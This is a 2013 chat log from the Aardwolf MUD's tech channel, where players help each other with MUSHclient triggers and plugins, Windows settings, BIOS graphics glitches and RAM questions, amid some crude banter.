T3/r7/2013-12-13.txt.gz:{chan ch=tech}TrEz Tech: and I'm not even joking
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Tech: and there were megabytes of updates for 98 until it was no longer supported
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Ixle Tech: On a machine that lacking in security updates it's probably better if your email is broken. I don't even want to ask what browser version you're running.
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Turie Tech: I wonder if Win 8.2 will be any better than Win 8 or 8.1
T3/r7/2013-12-13.txt.gz:{chan ch=tech}TrEz Tech: so you should consider upgrading win98se
T3/r7/2013-12-13.txt.gz:{chan ch=tech}TrEz Tech: I'm using chrome
T3/r7/2013-12-13.txt.gz:{chan ch=tech}TrEz Tech: but it's outlook, not the browser
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Ixle Tech: Oh, I'm perhaps mixing your issues and Zades.
T3/r7/2013-12-13.txt.gz:{chan ch=tech}TrEz Tech: win 8.1 has had no issues so far
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Ixle Tech: Well, I could name a few if I wanted to get up on my FLOSS soapbox.
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Ixle Tech: But if it works for you... :)
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Zade Tech: Win98e uses iExplorer6 -- was unable to find iExplorer7 at official download sites
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Zade Tech: attempting to download and install iExplorer8 temporarily busted something in Win98e - nope, that was the thirdword expletive changing the email access password to be different to the isp access password - required a Canadian tech to determine and inform what was required - lost a month of email access (was mostly junk email, no loss)
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Zade Tech: also, for a while was unable to use iExplorer to access the internet on Win98e, and then weeks later access was mysteriously restored - somebody expletive at the isp was fooling with the settings
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Zade Tech: require a zmud trigger to remove the laughtrack from channel conversations, attempt #1:  #trigger {lol} {#sub ""} {nolol}
T3/r7/2013-12-13.txt.gz:{chan ch=tech}TrEz Tech: I hate the lol'ers
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Zade Tech: a zmud trigger to remove some of the laughtrack from channel conversations, attempt #2:  #trigger { lol } {#sub ' '} {nolol}
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Iron Sides Arystul Tech: anyone familiar with kunena forums?
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Iron Sides Arystul Tech: trying to figure out if there is a way to change the way posts are sorted, rather than by date posted if one could alphabatize them
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Iron Sides Arystul Tech: or does anyone know of a different forum type that will allow me to make such a change?
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Trachx Tech: there is probably some kind of SQL db behind that forum
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Trachx Tech: just look for order by / group by 
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Sagacious Witblitz Tech: hey there... can you please tell me how i can get rid of this without turning off all tags? {invitem}334126959,KMGH,a Bag of Aardwolf,33,11,1,-1,-1
T3/r7/2013-12-13.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Type invmon.
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Sagacious Witblitz Tech: that is it..yeah thanks
T3/r7/2013-12-13.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: If you use Basts eq plugin, pretty sure that turns it on.
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Sagacious Witblitz Tech: nope just installed the new mush. 
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Sagacious Witblitz Tech: and it was on
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Sagacious Witblitz Tech: been a while so i forgot the command
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: how do i set up a tick command in mushclient?
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Vost Tech: autotick
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: i mean if i wanted to say do something on the tick, so i don't idle out
T3/r7/2013-12-13.txt.gz:{chan ch=tech}TrEz Tech: set trig on eyes glazing
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: new to this client, and been a while since i been mudding as well
T3/r7/2013-12-13.txt.gz:{chan ch=tech}TrEz Tech: instead
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Vost Tech: I just have a spellup script
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: a spellup script sounds bomb
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: do you have it spell u up when the spell fades
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Vost Tech: yes
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Vost Tech: I use one written by Winklewinkle
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Vost Tech: I believe that Bast has good scripts too
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Vost Tech: but I couldn't get his to work
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: whats a Bast?
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Tech: Elysian points excitedly at Bast!
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Negader Tech: i couldnt get it to work either. :*
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Vost Tech: finger bast
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Turie Tech: Finger bast
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: and i guess i am stupider then I thought, cause i don't even know how to create the trigger
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: wow bast is a pimp
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: think i found it in the list. Its within a menu where I can do all sorts of fun stuff
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: did what you suggested first for now till i get a spellup trig working and set on eyes glazing
T3/r7/2013-12-13.txt.gz:{chan ch=tech}TrEz Tech: just set a trig on eyes glazing if that fails
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: how long must i wait to glaze lol
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Elysian Tech: easiest in aardmush is just to set a timer to echo a random command every 15 min
T3/r7/2013-12-13.txt.gz:{chan ch=tech}TrEz Tech: ^Your eyes glaze over\.$
T3/r7/2013-12-13.txt.gz:{chan ch=tech}TrEz Tech: no timers, just a trig on this
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Elysian Tech: no trigger no nothing.
T3/r7/2013-12-13.txt.gz:{chan ch=tech}TrEz Tech: don't spam yourself with pointless stuff
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Elysian Tech: heh *shrug*
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Or use a spellup script, and never see any message or need any timer.
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: sorry trez, a lil confused
T3/r7/2013-12-13.txt.gz:{chan ch=tech}TrEz Tech: cept the spellup spam
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Which is kinda easy to gag
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: Vak I think i agree just need to set that up as i set spells
T3/r7/2013-12-13.txt.gz:{chan ch=tech}TrEz Tech: whatever I don't wanna talk about it anymore, spam yourself how you like
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: sorry for the newbie stuff just thought this was the right channel rather then newbie
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: gagging is good, if it's not me
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Even with duration wish spells fail fast enough to keep you active. And idk what TrEz's spamphobia is about, you can gag any repeated message you aren't interested in.
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: hehehe.  Sorry Trez
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: didn't mean to start a row
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: I guess I will just let it sit and see if it kicks me off or if the trigger for glazing works as I wait
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: got some work to do but wanna stay connected
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: is there a way to redo the way my windows were in the mush cause all of a sudden the main window went poof and much smaller
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Turie Tech: Aardreset
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: tried that 
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: nogo
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Turie Tech: aardunlock
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: where do i enter these?
T3/r7/2013-12-13.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: it's resetaard I think.
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: that worked thanks soooooo much that was whacky
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Turie Tech: resetaard is right.....makes me think of retard for some reason.
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: felt like one when i couldn't change it back spent like 10 mins trying
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: learned where more commands were tho
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Turie Tech: Did you read the wiki?
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Madcatz Tech: Whenever my computer wakes up from sleep, the graphics go haywire and colored blocks start appearing all over my screen.  Anything other than a video card driver problem that might be causing that?
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: NOt a dell by chance, is it?
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Madcatz Tech: alienware, so kind of
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: There's a bios setting, just can't remember what it's called
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Madcatz Tech: not sure if it was before or after dell bought them, tbh
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Had to turn it off to get rid of artifacting on my dual monitor
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: let's see if my google fu can find the name rq
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Madcatz Tech: ok, thanks.  phone just rang, so semi-afk
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Still can't find the name, but i'm nearly 100% sure it's Bios > Video and like the only checkbox option in there
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Optimus, that's what it's called
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: You'll want to disable that
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Madcatz Tech: OK, will take a look after phone.  thanks
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger goes: "No Problem!"
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Had to turn it off on my work laptop because the pointer trails and artifacting really started to piss me off
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: In mush use two ;s
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: mis
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Madcatz Tech: optimus seems to be an nvidia thing.  I have an ati, so don't think that's the issue
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger goes, "Hmmmm."
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Madcatz Tech: Video card drivers are up to date, but googling says some ati drivers have issues with older bios versions.
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Madcatz Tech: I'll see if I can figure out how to update that
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Yum, firmware updates
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: for???
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: What MOBO/Firmware version you running MC?
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Madcatz Tech: Finding that out should probably be my first step, eh?
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Probably :P
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Might be in the info section of your BIOS
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Except probably not the MOBO
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Madcatz Tech: Alienware A09, 4/27/2010
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Madcatz Tech: is the bios
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: http://www.dell.com/support/drivers/us/en/19/driverdetails?driverid=H9DY5
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: should be in teh bios
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: woah, forgot dell bnought alienware
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Yeah, Dae :P
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: wasn't it alienware or was it dfell that made that crazy comp maybe three years ago called the blackbird i think
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Dell, iirc
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: ya think it was dell, that think was hot
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: HP, actually
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: According to google
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: hmmm
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: thanks for googooing
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: googing even
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Rondel Tech: and googling too
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: getting closer :P
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: hehe
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: i forgot just how much fun this place is
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Rondel Tech: well hope you remember soon
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: oh thats not a problem, no hope needed.  I've come back to my senses
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Kilfer Tech: question 
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Kilfer Tech: I have a laptop with windows 8 and it keeps turning filter keys on when i don't type anything for 5min or so anyway to make it stop doing that?
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: filter keys?
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Kilfer Tech: that what it says with that ease of acess stuff 
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Madcatz Tech: holding the shift key down for a long time will turn them on
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Madcatz Tech: but you can turn off that shortcut in the accessibility
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Kilfer Tech: I know but if I hold the shift key it never brings it up.
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Madcatz Tech: if that's what's causing them to get turned on
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Madcatz Tech: all the filter key options are in control panel -> accessibility options
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Madcatz Tech: fool around in there and see what you find
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Negader Tech: isn't that called sticky keys?
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Kilfer Tech: only way i've found to turn them off is when i first start it up before i type my password
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Kilfer Tech: alright ty
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: http://www.techrepublic.com/blog/windows-and-office/quick-tip-disable-the-sticky-and-filter-keys-in-windows/
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: lrn2google
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Redwood Tech: lrn2ggl.
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Negader Tech: google is your friend
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Google is a verb now, so do it :P
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Madcatz Tech: speaking of not googling, I assume I can find my service tag on my tower case somewhere?
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Redwood Tech: Google is a whore that will do anything for anyone.
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: google is our frienemy
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Language, redwood :P
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Usually, MC
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: the word wh*(& is bad?
T3/r7/2013-12-13.txt.gz:{chan ch=tech}ShadowWalker Tech: unless u built it yourself
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Depends on the context, but generally yeah :P
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: is frakkin allowed?
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Not a real word, so yes.
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Unless you're referring to the geological process :P
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Then it is real, but still allowed
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: it's used in battlestar galactica and also is a process used to get energy out of geo
T3/r7/2013-12-13.txt.gz:{chan ch=tech}ShadowWalker Tech: i assume its a battlestar refrence :p
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: aye
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: kinda a wonky fan
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: There are tons of words used in TV that aren't real :P
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Like "Bazinga" :P
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Elysian Tech: Cantstandya
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: but it is in the geo since. So maybe frakkin becomes thought of as so bad it's used instead of
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: hahaha
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: I think that's spelled "fracking" though :P
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: but some wind up in the oxford
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: it is
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: actually tech seems to create most of the newly entered words in the oxford
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: internet != tech
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: i know
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Because, tbh, the internet is full of idiots and morons, who in sheer number make things happen, against the better judgement of the educated.
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: the creation of new technology
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Tech: Daedre whispers softly to a cheerful gnome.
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: hmmmm  that didn't work
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger debates creating a simple script to get equivalent LMGTFY URLS for successful search results. Teach a man to fish.
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Madcatz Tech: In my system info, it says "Installed Memory (RAM): 6.00 GB (3.99 GB Usable)", and task manager only shows 4GB of physical memory.  Does that mean one of my sticks isn't working correctly?
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Zetkax Tech: are you using 32 bit or 64 bit os?
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Madcatz Tech: 64
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Elysian Tech: what OS you using many older ones have 4Gb max
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: ewww
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Madcatz Tech: win 7 home premium 64-bit
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Zetkax Tech: maybe hardware issue, not familiar with that one
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Madcatz Tech: holding off on doing all my updates til the morning.  Have a couple of torrents I don't want to get interrupted by restarting :P
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Negader Tech: are they the same types of ram in speed, brand, etc?
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Madcatz Tech: They all came with the comp, so I would assume so
T3/r7/2013-12-13.txt.gz:{chan ch=tech}The Slithy Toves Tech: The memory test on the cd for ubuntu 8.04, for example, is really good for finding bad memory.
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: In 32 bit OS's you can use more tahn 4 gig, against common misconception, but each application is limited to a max of 4
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: if 1 app is using >4gig, it's a crappy app
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Mye Tech: (or a database)
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Only if you're running a massively huge, or improperly joined query
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Mye Tech: nah, just central servers for dozens of apps
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Central servers have massively more than 4G anyways :P
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Also, if anyone is interested in a baseline (and still broken) Lua-based deal or no deal script --> https://github.com/DeveloperMeier/Lua-DealOrNoDeal
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Also might add that it's still incomplete
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Inimitable Iyethar Tech: anyone know where I can get an Aardwolf icon for Windows?
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Iron Sides Arystul Tech: anyone rather familiar with a galaxy s4? and why it says life companion on the lock screen? lol
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Zoot Tech: you can customize it :)
T3/r7/2013-12-13.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Life companion is there slogon
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Tech: your gay lover put that there?
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Daedre Tech: lol
T3/r7/2013-12-13.txt.gz:{chan ch=tech}I Sense Nonsense Tech: anyone know an android app that can run this?
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Tech: aardwolf RPG
T3/r7/2013-12-13.txt.gz:{chan ch=tech}I Sense Nonsense Tech: thanks
T3/r7/2013-12-13.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: aardwolf on playworld 
T3/r7/2013-12-13.txt.gz:{chan ch=tech}I Sense Nonsense Tech: Back in '97 if you'd told me I'd be able to one day play this on a cell phone I would have laughed until I soiled myself
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Iron Sides Arystul Tech: so its a banner change or something?
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Tech: http://www.androidcentral.com/how-change-galaxy-s4-lock-screen-message
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Tech: second link in a google of samsung s4 life companion
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Vexthorne Tech: I don't suppose there's an easy way to make statmn report numbers with commas?
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Tech: use commas.lua's functions
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Vexthorne Tech: Ok I'll see what I can find with that, thanks
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Tech: commas is already in the "require" section, so you can just change wherever you want something to be "comma'd" to be wrapped in the commas() function
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Tech: so instead of foovariable, you'd have commas(foovariable)
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Fravardin Tech: How do I install search and destroy?
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Tech: put it into plugins folder, go to file -> plugins and click add...same as installing most plugins
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Fravardin Tech: thank you
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Fravardin Tech: I don't see a plugins folder, should I create one?
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Tech: plugins folder is in the worlds folder
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Turie Tech: worlds>plugins
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Fravardin Tech: ah thank you, are there any other recommended plugins?
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Fravardin Tech: that are good?
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Tech: finger bast
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Fravardin Tech: what does bast do?
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Tech: writes dozens of plugins
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Tech: and plays Aard
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Tech: when you finger him (and anyone you're fingering after asking about plugins/scripts), you go to "Bast's web address is http://code.google.com/p/bastmush"
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Tech: because that's where he would put them
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Tech: and when you go there, I'd suggest clicking the "wiki" tab, where you'll find tons of information on the plugins he has written
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Fravardin Tech: I've installed search and destroy should I restart the game?
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Tech: no need to
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Fravardin Tech: how do i use search and destroy?
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Turie Tech: Look at the wiki
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Fravardin Tech: ah yes
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Tech: the wiki for S&D, that is...finger winklewinkle if you forgot where you got it
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Fravardin Tech: didn't help
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Tech: You smack Fravardin out of his boots with a sign reading "EXPLORE !!"
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Tech: click downloads, click search and destroy...read.
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Ymerd Tech: mikeride.chaosnet.org is down ?
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Tech: not for me
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Fravardin Tech: xmapper move 47528 followed by sorry you can't do that
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Fravardin Tech: don't know what to do
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Ymerd Tech: hmm.. I can't reach it
T3/r7/2013-12-14.txt.gz:{chan ch=tech}ElFeneri Tech: can't reach it either
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Tech: what's xmapper?
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Fravardin Tech: You are confident that An oil painting passed through here, heading north.
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Fravardin Tech: then it says it's not a command
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Trachx Tech: check: mapper where 47528
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Fravardin Tech: it says north
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Fravardin Tech: this is confusing
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Tech: Fravardin laughs out loud.
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Tech: type "alias north"
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Tech: what does that say?
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Fravardin Tech: not defined
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Trachx Tech: type north
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Pleiades Tech: is there a quality or throughput difference between a bridged and a non-bridged modem?
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Hellishly Zxavier Tech: I'm trying out this mush thingy, anyone have a good doubleeap alert plugin for mush?
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Tech: check out bast's stuff...finger bast for the site
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Zvain Tech: Hi.. I need some quick help.
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Elysian Tech: power off and on
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Vexthorne Tech: Is it plugged in
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Zvain Tech: and yes, i did reboot :P
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Zvain Tech: I have a question about Mush Client.. anybody
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Redwood Tech: shoot.
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Elysian Tech: ask away
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Zvain Tech: i moved a window and i can't grab it to move it back!
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Negader Tech: the windows are usually 'grab-able' at the top portions.
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Negader Tech: hover your mouse/pointer over the top portions until arrow changes to a hand.
